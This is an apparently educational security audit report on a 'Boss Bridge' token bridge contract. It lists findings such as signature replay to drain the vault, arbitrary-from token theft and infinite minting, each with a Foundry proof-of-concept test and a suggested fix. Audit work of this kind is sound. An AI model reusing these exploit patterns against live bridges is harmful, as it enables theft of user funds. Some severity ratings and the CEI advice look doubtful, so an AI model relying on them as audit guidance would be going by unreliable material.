



# Protocol Audit Report

Version 1.0

*Cyfrin.io*

February 8, 2024

# Boss Bridge Audit

0xShitgem

February 8, 2024

Lead Auditors:

- 0xShitgem

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

## Protocol Summary

## Disclaimer

## Risk Classification

		impact		
		high	medium	low
likelihood	high	h	h/m	m
	medium	h/m	m	m/l
	low	m	m/l	l

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### Scope

### Roles

## Executive Summary

### Issues found

Severity	Number of issues found
High	5
Medium	1
Low	0
Info	2

Severity	Number of issues found
Gas	0
Total	8

## Findings

### High

#### [H-01] Lack of minimum deposit in `L1BossBridge::depositTokensToL2` allows contract to be DOS'd

##### Description:

```
1 if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {  
2     revert L1BossBridge__DepositLimitReached();  
3 }
```

This snippet of code, as we can see, only checks if amount passed in `depositTokensToL2` function doesn't exceed `DEPOSIT_LIMIT`. However, malicious user can pass as low as 1 `wei` as `amount` parameter.

**Impact:** While we're using some off-chain service to pick up event and execute it on L2 - malicious user can DOS this server by passing 1 `wei` as input parameter.

##### Proof of Concept:

1. Malicious user pass again and again 1 `wei` as `amount` parameter in function.
2. Server is DOS'ed

**Recommendation** Consider adding some check of minimum value.

```
1 + uint256 public constant MINIMUM_AMOUNT = 1e15;  
2  
3 + if (amount < MINIMUM_AMOUNT) {  
4 +     revert Some_Error();  
5 + }
```

**[H-02] L1BossBridge::sendToL1 allows malicious user to replay attack to drain entire vault**

**Description:** Inside `L1BossBridge::sendToL1` function we're sending signed data to be approved by one of bridge operators.

However, these signature doesn't include some kind of replay-protection mechanism (e.g nonces).

**Impact:** Attacker can read signatures from already signed message on blockchain and replay transaction till the vault will be empty.

**Proof of Concept:**

```
1 function testSignatureReplay() public {
2     address attacker = makeAddr("attacker");
3
4     uint256 vaultInitialBalance = 100e18;
5     uint256 attackerInitialBalance = 100e18;
6     deal(address(token), address(vault), vaultInitialBalance);
7     deal(address(token), address(attacker), attackerInitialBalance);
8
9     vm.startPrank(attacker);
10    token.approve(address(tokenBridge), type(uint256).max);
11    tokenBridge.depositTokensToL2(
12        attacker,
13        attacker,
14        attackerInitialBalance
15    );
16
17
18
19    bytes memory message = abi.encode(
20        address(token),
21        0,
22        abi.encodeCall(
23            IERC20.transferFrom,
24            (address(vault), attacker, attackerInitialBalance)
25        )
26    );
27
28    (uint8 v, bytes32 r, bytes32 s) = vm.sign(
29        operator.key,
30        MessageHashUtils.toEthSignedMessageHash(keccak256(message))
31    );
32
33
34
35    while (token.balanceOf(address(vault)) > 0) {
36        tokenBridge.withdrawTokensToL1(
37            attacker,
38            attackerInitialBalance,
39            v,
```

```
40         r,
41         s
42     );
43 }
44
45
46
47     assertEq(
48         token.balanceOf(address(attacker)),
49         attackerInitialBalance + vaultInitialBalance
50     );
51
52     assertEq(token.balanceOf(address(vault)), 0);
53 }
```

**Recommended Mitigation:** Consider adding nonces to transaction as protection mechanism

```
1  +   uint256 private currentNonce;
2
3  function sendToL1(
4      uint8 v,
5      bytes32 r,
6      bytes32 s,
7  +   uint256 nonce,
8      bytes memory message
9  ) public nonReentrant whenNotPaused {
10 +   if(nonce != currentNonce ++){
11 +       revert Some_Nonce_Error();
12 +   }
13
14     address signer = ECDSA.recover(
15         MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
16         v,
17         r,
18         s
19     );
20
21     if (!signers[signer]) {
22         revert L1BossBridge__Unauthorized();
23     }
24
25     (address target, uint256 value, bytes memory data) = abi.decode(
26         message,
27         (address, uint256, bytes)
28     );
29
30     (bool success, ) = target.call{value: value}(data);
31     if (!success) {
32         revert L1BossBridge__CallFailed();
33     }
34 }
```

```
35 }
```

### [H-03] Arbitrary from inside L1BossBridge::depositTokensToL2 allows anyone to steal tokens

**Description:** Inside `depositTokensToL2` we execute `token.safeTransferFrom`.

```
1 function depositTokensToL2(  
2     address from,  
3     address l2Recipient,  
4     uint256 amount  
5 ) external whenNotPaused {  
6     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {  
7         revert L1BossBridge__DepositLimitReached();  
8     }  
9  
10    @> token.safeTransferFrom(from, address(vault), amount);  
11  
12    // Our off-chain service picks up this event and mints the  
13    // corresponding tokens on L2  
14    emit Deposit(from, l2Recipient, amount);  
15 }
```

However, we need to pass here address `from`, which allows anyone to pass someone another address.

**Impact:** When someone approves their tokens, a malicious user can execute this transaction stealing funds of user.

#### Proof of Concept:

```
1 function testArbitraryFrom() public {  
2     address bob = makeAddr("bob");  
3     uint256 depositAmount = token.balanceOf(user);  
4  
5     vm.prank(user);  
6     token.approve(address(tokenBridge), type(uint256).max);  
7  
8     vm.startPrank(bob);  
9     vm.expectEmit(address(tokenBridge));  
10    emit Deposit(user, bob, depositAmount);  
11    tokenBridge.depositTokensToL2(user, bob, depositAmount);  
12  
13    assertEq(token.balanceOf(user), 0);  
14    assertEq(token.balanceOf(address(vault)), depositAmount);  
15    vm.stopPrank();  
16 }
```

**Recommended Mitigation:** Consider changing `from` to `msg.sender` to prevent this attack.

#### [H-04] calling `L1BossBridge::depositTokenToL2` from vault contract allows to mint infinitely tokens

**Description:** In the constructor of `L1BossBridge` we approved vault `type(uint256).max` amount of tokens. This type of approval allows `depositTokenToL2` function execute, with `from` parameter as `address(vault)` meaning user can transfer from vault to vault, mining on L2 additional tokens.

**Impact:** Attacker can mint as much tokens as he wants.

##### Proof of Concept:

```
1 function testStealFromVault() public {
2     address bob = makeAddr("bob");
3     uint256 vaultBalance = 500e18;
4     deal(address(token), address(vault), vaultBalance);
5
6     vm.expectEmit(address(tokenBridge));
7     emit Deposit(address(vault), bob, vaultBalance);
8     tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance);
9
10    vm.expectEmit(address(tokenBridge));
11    emit Deposit(address(vault), bob, vaultBalance);
12    tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance);
13 }
```

**Recommended Mitigation:** Consider modifying `depositTokenToL2` function so caller cannot specify `from` address.

#### [H-05] create opcode doesn't work in zksync

##### Description:

```
1 function deployToken(
2     string memory symbol,
3     bytes memory contractBytecode
4 ) public onlyOwner returns (address addr) {
5     assembly {
6         @> addr := create(
7             0,
8             add(contractBytecode, 0x20),
9             mload(contractBytecode)
10        )
11    }
```



```
12
13     s_tokenToAddress[symbol] = addr;
14     emit TokenDeployed(symbol, addr);
15 }
```

In code above we see we're using `CREATE` opcode to create new token contract. However, this type of opcode doesn't work in zksync.

## Medium

### [M-01] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, L1 part of the bridge executes a low-level call to an arbitray target passing all available gas.

If malicious target pass large amount of returndata in the call, which solidity copies to memory, which increases gas cost. Callers unaware of this risk may not set gas limit sensibly, therefore be tricked to spent more eth than necessary.

Consider using external libraries like this one: <https://github.com/nomad-xyz/ExcessivelySafeCall>

## Low

## Informational

### [I-01] L1BossBridge::DEPOSIT\_LIMIT should be constant

Found in src/L1BossBridge [Line 30]

```
1 uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

#### Recommendation

```
1 - uint256 public DEPOSIT_LIMIT = 100_000 ether;
2 + uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

### [I-02] L1BossBridge::depositTokensToL2 not follow CEI

Found in src/L1BossBridge.sol [Line 87]

```
1 function depositTokensToL2(  
2     address from,  
3     address l2Recipient,  
4     uint256 amount  
5 ) external whenNotPaused {  
6     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {  
7         revert L1BossBridge__DepositLimitReached();  
8     }  
9     token.safeTransferFrom(from, address(vault), amount);  
10  
11     // Our off-chain service picks up this event and mints the  
12     // corresponding tokens on L2  
13     emit Deposit(from, l2Recipient, amount);  
14 }
```

The event should be before `token.safeTransferFrom` to follow CEI

## Gas